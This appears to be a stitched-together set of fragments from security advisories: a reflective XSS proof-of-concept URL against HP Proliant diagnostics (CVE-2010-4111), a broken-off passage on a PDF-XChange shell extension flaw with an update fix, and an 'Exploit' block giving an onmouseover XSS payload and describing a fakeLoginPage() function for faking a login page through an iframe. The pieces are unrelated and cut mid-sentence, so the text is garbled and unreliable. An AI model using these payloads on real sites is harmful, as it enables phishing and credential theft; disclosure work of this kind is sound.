Hardware Proliant DL380 G5, DL360 G5, DL380 G4
1) Basic reflective XSS attack (Windows only).
Proof of concept (move mouse pointer over search input box):
https://target-domain.foo:2381/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1);
References: HP Customer Notice: HPSBMA02615 SSRT100228 rev.1 CVE-2010-4111
views a malicious PDF document.
NOTE: The vulnerable code is e.g. also present in the bundled
PDF-XChange shell extension (XCShInfo.dll), which is installed by
default. This vector allows exploitation as soon as a user e.g.
selects a malicious PDF file or hovers the mouse pointer over it.
======================================================================
5) Solution
Update to version 2.044.
[+] Exploit
--------------------------------->8---------------------------------
<span onmouseover="javascript:alert('XSS');function
fakeLoginPage(){...}">move your mouse pointer here</span>
---------------------------------8<---------------------------------
fakeLoginPage() function can be used to rewrite the whole page,
faking a login page through an embedded iframe.
